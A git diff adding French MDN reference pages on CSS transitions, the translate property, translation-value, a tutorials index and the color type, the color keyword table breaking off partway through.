+<p>Chacune des propriétés de transition décrit la transition qui devrait être appliquée à une propriété donnée (ou pour les valeurs spéciales <code>all</code> et <code>none</code>). Une propriété de transition inclut :</p>
+
+<ul>
+ <li>zéro ou une valeur qui représente la propriété à laquelle la transition s'applique. Ça peut être :
+  <ul>
+   <li>le mot-clé <code>none</code></li>
+   <li>le mot-clé <code>all</code></li>
+   <li>Un identifiant ({{cssxref("&lt;custom-ident&gt;")}}) qui nomme une propriété CSS.</li>
+  </ul>
+ </li>
+ <li>zéro ou une valeur {{cssxref("&lt;single-transition-timing-function&gt;")}} qui représente la fonction de temporisation utilisée pour la transition</li>
+ <li>zéro, une ou deux valeurs {{cssxref("&lt;time&gt;")}}. La première valeur qui peut être interprétée comme un temps sera affectée à la propriété {{cssxref("transition-duration")}} et la seconde valeur qui peut être affectée comme un temps sera affectée à la propriété {{cssxref("transition-delay")}}.</li>
+</ul>
+
+<p>Si la liste des valeurs est trop courte pour les différentes propriétés, les valeurs seront répétées. Si la liste est trop longue, elle sera tronquée.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Plusieurs exemples de transitions CSS sont présentés <a href="/fr/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="en/CSS/CSS transitions">sur l'article sur les transitions CSS</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-shorthand-property', 'transition')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.transition")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="en/CSS/CSS transitions">Utiliser les transitions CSS</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/translate/index.html b/files/fr/web/css/translate/index.html
new file mode 100644
index 0000000000..abe509dcce
--- /dev/null
+++ b/files/fr/web/css/translate/index.html
@@ -0,0 +1,127 @@
+---
+title: translate
+slug: Web/CSS/translate
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/translate
+---
+<div>{{CSSRef}}{{seecompattable}}</div>
+
+<p>La propriété <strong><code>translate</code></strong> permet de définir des opérations de translations, individuellement et indépendamment de la propriété {{cssxref("transform")}}. Cela peut être utile pour la construction d'une interface utilisateur et évite d'avoir à se souvenir de l'ordre exact des fonctions de transformations à indiquer pour <code>transform</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+translate: none;
+
+/* Valeurs uniques */
+translate: 100px;
+translate: 50%;
+
+/* Deux valeurs */
+translate: 100px 200px;
+translate: 50% 105px;
+
+/* Trois valeurs */
+translate: 50% 105px 5rem;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>Une seule valeur de longueur/pourcentage ({{cssxref("&lt;length-percentage&gt;")}})</dt>
+ <dd>Une longueur ({{cssxref("&lt;length&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) qui définit une translation en deux dimensions. La translation est la même pour l'axe X et l'axe Y. Cela est équivalent à la fonction <code>translate()</code> (translation en deux dimensions) avec une seule valeur.</dd>
+ <dt>Deux valeurs de longueur/pourcentage ({{cssxref("&lt;length-percentage&gt;")}})</dt>
+ <dd>Deux longueurs ({{cssxref("&lt;length&gt;")}}) ou pourcentages ({{cssxref("&lt;percentage&gt;")}}) qui définissent respectivement les composantes horizontale et verticale d'une translation en deux dimensions. Cela est équivalent à la fonction <code>translate()</code> appelée avec ces deux arguments.</dd>
+ <dt>Trois valeurs</dt>
+ <dd>Deux valeurs de longueur/pourcentage ({{cssxref("&lt;length-percentage&gt;")}}) et une longueur ({{cssxref("&lt;length&gt;")}}) qui définissent respectivement les composantes horizontale, verticale et en profondeur de la translation en trois dimensions. Cela est équivalent à la fonction <code>translate3d()</code> appelée avec ces trois arguments.</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>Cette valeur indique qu'aucune translation ne devrait être appliquée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="translate"&gt;Translation&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* {
+  box-sizing: border-box;
+}
+
+html {
+  font-family: sans-serif;
+}
+
+div {
+  width: 150px;
+  margin: 0 auto;
+}
+
+p {
+  padding: 10px 5px;
+  border: 3px solid black;
+  border-radius: 20px;
+  width: 150px;
+  font-size: 1.2rem;
+  text-align: center;
+}
+
+.translate {
+  transition: translate 1s;
+}
+
+div:hover .translate {
+  translate: 200px 50px;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#individual-transforms', 'individual transforms')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.translate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('scale')}}</li>
+ <li>{{cssxref('rotate')}}</li>
+ <li>{{cssxref('transform')}}</li>
+</ul>
diff --git a/files/fr/web/css/translation-value/index.html b/files/fr/web/css/translation-value/index.html
new file mode 100644
index 0000000000..28396eb769
--- /dev/null
+++ b/files/fr/web/css/translation-value/index.html
@@ -0,0 +1,41 @@
+---
+title: translation-value
+slug: Web/CSS/translation-value
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/translation-value
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;translation-value&gt;</code></strong> est utilisé dans les arguments pour certaines fonctions de <a href="/fr/docs/Web/CSS/transform" title="CSS/transform">transformation</a> dont <code><a href="/fr/docs/Web/CSS/transform-function/translate">translate()</a></code>, <code><a href="/fr/docs/Web/CSS/transform-function/translateX">translateX()</a></code>, <code><a href="/fr/docs/Web/CSS/transform-function/translateY">translateY()</a></code>, et <code><a href="/fr/docs/Web/CSS/transform-function/translate3d">translate3d()</a></code>. </p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Un argument <code>&lt;translation-value&gt;</code> peut être une valeur de type {{cssxref("&lt;length&gt;")}} ou de type {{cssxref("&lt;percentage&gt;")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#transform-functions', 'The Transform Functions')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+</ul>
diff --git a/files/fr/web/css/tutorials/index.html b/files/fr/web/css/tutorials/index.html
new file mode 100644
index 0000000000..5f2312d94c
--- /dev/null
+++ b/files/fr/web/css/tutorials/index.html
@@ -0,0 +1,62 @@
+---
+title: Tutoriels CSS
+slug: Web/CSS/Tutorials
+tags:
+  - Beginner
+  - CSS
+  - Guide
+  - Tutorial
+translation_of: Web/CSS/Tutorials
+---
+<p>Apprendre CSS peut sembler être une tache impressionnante. Cependant pour vous aider nous avons écrit de nombreux <strong>tutoriels a propos de CSS</strong>. Certains d'entre eux sont à l'attention des non initier, tandis que d'autres présentent des fonctionnalitées complexes qui peuvent être utile aux utilisateurs expérimenté.</p>
+
+<p>Cette page les listes tous, avec une courte description. <span id="result_box" lang="fr"><span class="hps">Ils sont regroupés</span> <span class="hps">par complexité</span> <span class="hps">de sorte que vous</span> <span class="hps">pouvez</span> <span class="hps">choisir la plus appropriée</span> <span class="hps">à votre niveau</span><span>.</span></span></p>
+
+<div class="note">
+<p><strong>Note de l'éditeur:</strong> Vous devriez penser à utiliser les tags "niveau de difficulté", sur les pages de tutoriel donc les listes basées sur la difficultés peuvent être construites automatiquement.</p>
+</div>
+
+<h2 id="Tutoriel_CSS_pour_Débutants">Tutoriel CSS pour Débutants</h2>
+
+<dl>
+ <dt><a href="/fr/docs/CSS/Premiers_pas" title="/fr/docs/CSS/Premiers_pas">Débuter</a></dt>
+ <dd>Ce guide est destiné aux non initiés : vous n'avez jamais écrit une seule ligne de CSS ? — Cet article est pour vous! Il explique les concepts fondamentaux du langage et vous guide via la rédaction de feuilles de style basiques.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Fonds_multiples" title="/fr/docs/Web/CSS/Fonds_multiples">Utiliser les arrière-plans multiples</a></dt>
+ <dd>Les arrières-plans sont fondamentaux afin d'obtenir un beau design : CSS vous permet d'en définir plusieurs pour chaque boite. Ce tutoriel explique comment elles interagissent et comment les utiliser pour réaliser de jolis effets.</dd>
+ <dt><a href="/en-US/docs/CSS/Scaling_background_images" title="/en-US/docs/CSS/Scaling_background_images">Mise à l'échelle des images d'arrière-plan (en anglais)</a></dt>
+ <dd>CSS vous permet de redimensionner des images utilisées comme élément d'arrière plan. Ce tutoriel décrit comment faire cela simplement.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Media_queries" title="/fr/docs/Web/CSS/Media_queries">Media queries</a></dt>
+ <dd>La taille des écrans, ou la nature des appareils comme les écrans tactiles ou feuilles imprimées, varie grandement de nos jours. Les <em>Media queries</em> sont des briques fondamentales pour construire des sites Web avec un rendu de grande qualité sur n'importe quel appareil.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Comprendre_z-index" title="/fr/docs/Web/CSS/Comprendre_z-index">Comprendre le z-index</a></dt>
+ <dd>Contrôler la superposition des boites est une <span id="result_box" lang="fr"><span class="hps">caractéristique fondamentale</span></span> pour les développeurs Web. Il ne s'agit pas de quelque chose de difficile cependant cela requiert une connaissance basique du CSS.</dd>
+</dl>
+
+<h2 id="Tutoriel_intermédiaire_en_CSS">Tutoriel intermédiaire en CSS</h2>
+
+<p>Après la sortie de CSS2 (Niveau 1), les nouvelles fonctionnalités ont été ajoutées dans CSS. Certaines d'entre elles sont élégantes et autonomes. Elles sont faciles à utiliser par quiconque avec une bonne compréhension des concepts basique.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Compteurs_CSS" title="/fr/docs/Web/CSS/Compteurs_CSS">Compteur CSS</a></dt>
+ <dd>Compter les éléments et pages est une tache aisée en CSS. Apprenez à utiliser {{cssxref("counter-reset")}}, {{cssxref("counter-increment")}}, {{cssxref("counters", "counters()")}}, et {{cssxref("counter", "counter()")}}.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Animations CSS</a></dt>
+ <dd>Les animation CSS vous permettent de définir des configurations de style, comme les <em><a href="/fr/docs/Web/CSS/Animations_CSS" title="/fr/docs/Web/CSS/Animations_CSS">keyframes</a></em>, et de réaliser une transition entre elles pour définir une animation.</dd>
+ <dt><a href="/en-US/docs/CSS/Tutorials/Using_CSS_transitions" title="/en-US/docs/CSS/Using_CSS_transitions">Transitions CSS</a></dt>
+ <dd>Les transitions CSS vous permettent de définir une animation entre plusieurs styles et contrôlent la voie manière laquelle les transitions s'appliquent.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Utilisation_des_transformations_CSS">Transformations CSS</a></dt>
+ <dd>Les transformations CSS vous permettent de changer la position d'éléments en modifiants leurs coordonnées spatiales: comme des translations, rotations et déformations en espaces 3D et 2D.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS" title="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Gradients CSS</a></dt>
+ <dd>Les gradients CSS sont des images qui changent de façon homogène d'une couleur à une autre. Il y a différents types de gradients possibles en CSS : linéaire ou radial, répétable ou non. Ce tutoriel décrit comment les utiliser.</dd>
+</dl>
+
+<h2 id="Tutoriels_avancés_en_CSS">Tutoriels avancés en CSS</h2>
+
+<p>CSS3 possède de nouvelles fonctionnalités vous permettant de créer des mises en pages complexes. Même les plus simples de ces méthodes, peuvent être complexes pour un débutant.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Colonnes_CSS3" title="/fr/docs/Web/CSS/Colonnes_CSS3">Mises en pages Multi-colonnes CSS</a></dt>
+ <dd>CSS3 introduit une nouvelle mise en page vous autorisant à définir facilement des éléments sur plusieurs multiples colonnes. Cependant les textes sur plusieurs colonnes ne sont pas si communs sur des écrans. Pourtant cela s'avère très pratique lorsque l'on imprime des pages ou pour indexer.</dd>
+ <dt><a href="/fr/docs/Web/Guide/CSS/Flexible_boxes" title="/fr/docs/Web/Guide/CSS/Flexible_boxes">Mises en pages flexibles de boites"</a></dt>
+ <dd>Cette nouvelle mise en page vous permet de donner de la flexibilité aux boites, permettant à celles-ci d'être redimensionnées de façon fluide. Il s'agit d'une façon puissante de décrire des interfaces complexes.</dd>
+</dl>
+
+<p> </p>
diff --git a/files/fr/web/css/type_color/index.html b/files/fr/web/css/type_color/index.html
new file mode 100644
index 0000000000..fd238e5816
--- /dev/null
+++ b/files/fr/web/css/type_color/index.html
@@ -0,0 +1,1379 @@
+---
+title: <color>
+slug: Web/CSS/Type_color
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/color_value
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de données CSS <strong><code>&lt;color&gt;</code></strong> permet de représenter des couleurs dans <a class="external" href="https://fr.wikipedia.org/wiki/SRGB">l'espace de couleurs sRGB</a>. Une couleur pourra être décrite de trois façons :</p>
+
+<ul>
+ <li>grâce à un mot-clé (comme <code>blue</code> ou  <code>transparent</code> par exemple)</li>
+ <li>en utilisant <a href="https://fr.wikipedia.org/wiki/Couleur_du_Web#Triplet_hexad.C3.A9cimal">le système de coordonnées cubiques RGB</a> (grâce à la notation #-hexadecimal ou aux notations fonctionnelles <code>rgb()</code> et <code>rgba()</code>)</li>
+ <li>en utilisant <a class="external" href="https://fr.wikipedia.org/wiki/Teinte_saturation_lumi%C3%A8re">le système de coordonnées cylindriques HSL</a> (grâce aux notations fonctionnelles <code>hsl()</code> et <code>hsla()</code>)</li>
+</ul>
+
+<p>En plus de la couleur exprimée dans l'espace RGB, une valeur <code>&lt;color&gt;</code> contient également un <a href="https://fr.wikipedia.org/wiki/Alpha_blending">canal alpha</a> qui décrit la transparence de l'image et donc la façon dont cette image se <a href="https://www.w3.org/TR/2003/REC-SVG11-20030114/masking.html#SimpleAlphaBlending">compose</a> avec son arrière-plan.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cet article décrit le type de donnée CSS <code>&lt;color&gt;</code> en détails. Si vous souhaitez en savoir plus sur l'utilisation des couleurs en HTML, n'hésitez pas à lire <a href="/fr/docs/Web/HTML/Appliquer_des_couleurs">Appliquer des couleurs à des éléments HTML grâce à CSS</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="note">
+<p>Bien que les valeurs des couleurs CSS soient définies précisément, elles pourront s'afficher différemment sur différents appareils. La plupart des appareils ne sont pas calibrés et certains navigateurs ne prennent pas en charge <a href="https://fr.wikipedia.org/wiki/Profil_ICC">le profil de couleurs</a> de l'appareil. Sans ces éléments, le rendu des couleurs peut varier.</p>
+</div>
+
+<p>Il existe plusieurs méthodes pour décrire une valeur <code>&lt;color&gt;</code>.</p>
+
+<h3 id="Les_mots-clés">Les mots-clés</h3>
+
+<p>Les mots-clés sont des identifiants insensibles à la casse qui représentent une couleur donnée. Par exemple, le mot-clé red représentera la couleur rouge, <code>blue</code> le bleu, <code>brown</code> le marron, etc. La liste des valeurs autorisées a fortement évolué au cours des différentes versions de la spécification :</p>
+
+<ul>
+ <li>La spécification CSS de niveau 1 n'acceptait que 16 couleurs basiques, construites à partir des couleurs <a href="https://fr.wikipedia.org/wiki/Video_Graphics_Array">VGA</a> disponibles sur les cartes graphiques.</li>
+ <li>La spécification CSS de niveau 2 a ajouté le mot-clé <code>orange</code>.</li>
+ <li>Depuis le début des couleurs CSS, les navigateurs ont pris en charge d'autres couleurs, notamment les couleurs X11 car certains des premiers navigateurs étaient des applications X11. SVG 1.0 a été le premier standard qui a défini formellement ces mots-clés et la spécification CSS de niveau 3 sur les couleurs a aussi défini ces couleurs formellement. Ces différentes couleurs sont parfois intitulées couleurs étendues (<em>extended colors</em>), couleurs X11 ou couleurs SVG.</li>
+ <li>La spécification CSS de niveau a ajouté la couleur <code>rebeccapurple</code> <a href="https://codepen.io/trezy/post/honoring-a-great-man">en l'honneur d'Eric Meyer</a>.</li>
+</ul>
+
+<p>Voici quelques inconvénients liés aux mots-clés :</p>
+
+<ul>
+ <li>En dehors des 16 couleurs de base présentes également en HTML, les autres valeurs ne peuvent pas être utilisées en HTML. HTML convertira ces valeurs inconnues avec un algorithme spécifique qui donnera d'autres couleurs à l'arrivée. Ces mots-clés ne doivent être utilisés qu'avec SVG ou CSS.</li>
+ <li>Si un mot-clé inconnu est utilisé, la propriété sera considérée comme invalide et sera donc ignorée. Le comportement est donc différent de HTML (qui calculera une couleur).</li>
+ <li>Aucun mot-clé ne définit de couleurs transparentes, toutes les couleurs indiquées par des mots-clés sont unies et opaques.</li>
+ <li>Certains mots-clés désignent la même couleur :
+  <ul>
+   <li><code>aqua</code> / <code>cyan</code></li>
+   <li><code>fuchsia</code> / <code>magenta</code></li>
+   <li><code>darkgray</code> / <code>darkgrey</code></li>
+   <li><code>darkslategray</code> / <code>darkslategrey</code></li>
+   <li><code>dimgray</code> / <code>dimgrey</code></li>
+   <li><code>lightgray</code> / <code>lightgrey</code></li>
+   <li><code>lightslategray</code> / <code>lightslategrey</code></li>
+   <li><code>gray</code> / <code>grey</code></li>
+   <li><code>slategray</code> / <code>slategrey</code></li>
+  </ul>
+ </li>
+ <li>Bien que les noms des mots-clés soient calqués sur les couleurs X11, les couleurs correspondantes peuvent être différentes en CSS et avec X11 car pour ce dernier les couleurs étaient conçues pour le matériel du constructeur.</li>
+</ul>
+
+<table id="colors_table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Couleur</th>
+   <th scope="col">Mot-clé</th>
+   <th scope="col">Valeurs exprimées en hexadécimal RGB</th>
+   <th scope="col">Exemple «<em> live</em> » dans le navigateur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr style="position: relative;">
+   <td rowspan="16">{{SpecName("CSS1")}}</td>
+   <td style="background: #000;"></td>
+   <td style="text-align: center;"><code>black</code></td>
+   <td><code>#000000</code></td>
+   <td style="background: black;"></td>
+  </tr>
+  <tr>
+   <td style="background: #C0C0C0;"></td>
+   <td style="text-align: center;"><code>silver</code></td>
+   <td><code>#c0c0c0</code></td>
+   <td style="background: silver;"></td>
+  </tr>
+  <tr>
+   <td style="background: #808080;"></td>
+   <td style="text-align: center;"><code>gray</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: gray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #FFF;"></td>
+   <td style="text-align: center;"><code>white</code></td>
+   <td><code>#ffffff</code></td>
+   <td style="background: white;"></td>
+  </tr>
+  <tr>
+   <td style="background: #800000;"></td>
+   <td style="text-align: center;"><code>maroon</code></td>
+   <td><code>#800000</code></td>
+   <td style="background: maroon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #F00;"></td>
+   <td style="text-align: center;"><code>red</code></td>
+   <td><code>#ff0000</code></td>
+   <td style="background: red;"></td>
+  </tr>
+  <tr>
+   <td style="background: #800080;"></td>
+   <td style="text-align: center;"><code>purple</code></td>
+   <td><code>#800080</code></td>
+   <td style="background: purple;"></td>
+  </tr>
+  <tr>
+   <td style="background: #F0F;"></td>
+   <td style="text-align: center;"><code>fuchsia</code></td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: fuchsia;"></td>
+  </tr>
+  <tr>
+   <td style="background: #008000;"></td>
+   <td style="text-align: center;"><code>green</code></td>
+   <td><code>#008000</code></td>
+   <td style="background: green;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0F0;"></td>
+   <td style="text-align: center;"><code>lime</code></td>
+   <td><code>#00ff00</code></td>
+   <td style="background: lime;"></td>
+  </tr>
+  <tr>
+   <td style="background: #808000;"></td>
+   <td style="text-align: center;"><code>olive</code></td>
+   <td><code>#808000</code></td>
+   <td style="background: olive;"></td>
+  </tr>
+  <tr>
+   <td style="background: #FF0;"></td>
+   <td style="text-align: center;"><code>yellow</code></td>
+   <td><code>#ffff00</code></td>
+   <td style="background: yellow;"></td>
+  </tr>
+  <tr>
+   <td style="background: #000080;"></td>
+   <td style="text-align: center;"><code>navy</code></td>
+   <td><code>#000080</code></td>
+   <td style="background: navy;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00F;"></td>
+   <td style="text-align: center;"><code>blue</code></td>
+   <td><code>#0000ff</code></td>
+   <td style="background: blue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #008080;"></td>
+   <td style="text-align: center;"><code>teal</code></td>
+   <td><code>#008080</code></td>
+   <td style="background: teal;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0FF;"></td>
+   <td style="text-align: center;"><code>aqua</code></td>
+   <td><code>#00ffff</code></td>
+   <td style="background: aqua;"></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1")}}</td>
+   <td style="background: #FFA500;"></td>
+   <td style="text-align: center;"><code>orange</code></td>
+   <td><code>#ffa500</code></td>
+   <td style="background: orange;"></td>
+  </tr>
+  <tr>
+   <td rowspan="130">{{SpecName("CSS3 Colors")}}</td>
+   <td style="background: #f0f8ff;"></td>
+   <td style="text-align: center;"><code>aliceblue</code></td>
+   <td><code>#f0f8ff</code></td>
+   <td style="background: aliceblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #faebd7;"></td>
+   <td style="text-align: center;"><code>antiquewhite</code></td>
+   <td><code>#faebd7</code></td>
+   <td style="background: antiquewhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7fffd4;"></td>
+   <td style="text-align: center;"><code>aquamarine</code></td>
+   <td><code>#7fffd4</code></td>
+   <td style="background: aquamarine;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f0ffff;"></td>
+   <td style="text-align: center;"><code>azure</code></td>
+   <td><code>#f0ffff</code></td>
+   <td style="background: azure;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5f5dc;"></td>
+   <td style="text-align: center;"><code>beige</code></td>
+   <td><code>#f5f5dc</code></td>
+   <td style="background: beige;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4c4;"></td>
+   <td style="text-align: center;"><code>bisque</code></td>
+   <td><code>#ffe4c4</code></td>
+   <td style="background: bisque;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffebcd;"></td>
+   <td style="text-align: center;"><code>blanchedalmond</code></td>
+   <td><code>#ffebcd</code></td>
+   <td style="background: blanchedalmond;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8a2be2;"></td>
+   <td style="text-align: center;"><code>blueviolet</code></td>
+   <td><code>#8a2be2</code></td>
+   <td style="background: blueviolet;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a52a2a;"></td>
+   <td style="text-align: center;"><code>brown</code></td>
+   <td><code>#a52a2a</code></td>
+   <td style="background: brown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #deb887;"></td>
+   <td style="text-align: center;"><code>burlywood</code></td>
+   <td><code>#deb887</code></td>
+   <td style="background: burlywood;"></td>
+  </tr>
+  <tr>
+   <td style="background: #5f9ea0;"></td>
+   <td style="text-align: center;"><code>cadetblue</code></td>
+   <td><code>#5f9ea0</code></td>
+   <td style="background: cadetblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7fff00;"></td>
+   <td style="text-align: center;"><code>chartreuse</code></td>
+   <td><code>#7fff00</code></td>
+   <td style="background: chartreuse;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d2691e;"></td>
+   <td style="text-align: center;"><code>chocolate</code></td>
+   <td><code>#d2691e</code></td>
+   <td style="background: chocolate;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff7f50;"></td>
+   <td style="text-align: center;"><code>coral</code></td>
+   <td><code>#ff7f50</code></td>
+   <td style="background: coral;"></td>
+  </tr>
+  <tr>
+   <td style="background: #6495ed;"></td>
+   <td style="text-align: center;"><code>cornflowerblue</code></td>
+   <td><code>#6495ed</code></td>
+   <td style="background: cornflowerblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fff8dc;"></td>
+   <td style="text-align: center;"><code>cornsilk</code></td>
+   <td><code>#fff8dc</code></td>
+   <td style="background: cornsilk;"></td>
+  </tr>
+  <tr>
+   <td style="background: #dc143c;"></td>
+   <td style="text-align: center;"><code>crimson</code></td>
+   <td><code>#dc143c</code></td>
+   <td style="background: crimson;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0ff;"></td>
+   <td style="text-align: center;"><code>cyan</code> (synonyme de <code>aqua</code>)</td>
+   <td><code>#00ffff</code></td>
+   <td style="background: cyan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00008b;"></td>
+   <td style="text-align: center;"><code>darkblue</code></td>
+   <td><code>#00008b</code></td>
+   <td style="background: darkblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #008b8b;"></td>
+   <td style="text-align: center;"><code>darkcyan</code></td>
+   <td><code>#008b8b</code></td>
+   <td style="background: darkcyan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b8860b;"></td>
+   <td style="text-align: center;"><code>darkgoldenrod</code></td>
+   <td><code>#b8860b</code></td>
+   <td style="background: darkgoldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a9a9a9;"></td>
+   <td style="text-align: center;"><code>darkgray</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #006400;"></td>
+   <td style="text-align: center;"><code>darkgreen</code></td>
+   <td><code>#006400</code></td>
+   <td style="background: darkgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a9a9a9;"></td>
+   <td style="text-align: center;"><code>darkgrey</code></td>
+   <td><code>#a9a9a9</code></td>
+   <td style="background: darkgrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #bdb76b;"></td>
+   <td style="text-align: center;"><code>darkkhaki</code></td>
+   <td><code>#bdb76b</code></td>
+   <td style="background: darkkhaki;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8b008b;"></td>
+   <td style="text-align: center;"><code>darkmagenta</code></td>
+   <td><code>#8b008b</code></td>
+   <td style="background: darkmagenta;"></td>
+  </tr>
+  <tr>
+   <td style="background: #556b2f;"></td>
+   <td style="text-align: center;"><code>darkolivegreen</code></td>
+   <td><code>#556b2f</code></td>
+   <td style="background: darkolivegreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff8c00;"></td>
+   <td style="text-align: center;"><code>darkorange</code></td>
+   <td><code>#ff8c00</code></td>
+   <td style="background: darkorange;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9932cc;"></td>
+   <td style="text-align: center;"><code>darkorchid</code></td>
+   <td><code>#9932cc</code></td>
+   <td style="background: darkorchid;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8b0000;"></td>
+   <td style="text-align: center;"><code>darkred</code></td>
+   <td><code>#8b0000</code></td>
+   <td style="background: darkred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #e9967a;"></td>
+   <td style="text-align: center;"><code>darksalmon</code></td>
+   <td><code>#e9967a</code></td>
+   <td style="background: darksalmon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8fbc8f;"></td>
+   <td style="text-align: center;"><code>darkseagreen</code></td>
+   <td><code>#8fbc8f</code></td>
+   <td style="background: darkseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #483d8b;"></td>
+   <td style="text-align: center;"><code>darkslateblue</code></td>
+   <td><code>#483d8b</code></td>
